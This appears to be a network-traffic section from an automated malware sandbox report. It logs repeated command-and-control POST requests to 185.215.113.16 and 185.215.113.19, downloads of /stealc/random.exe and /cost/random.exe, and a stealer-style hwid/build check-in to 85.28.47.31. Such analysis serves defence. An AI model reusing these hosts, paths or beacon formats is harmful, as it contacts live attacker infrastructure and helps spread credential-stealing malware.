Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFIHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 41 43 44 37 44 43 45 35 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="hwid"F6ACD7DCE5231817704571------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="build"sila------HJKKFIJKFCAKJJJKJKFI--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
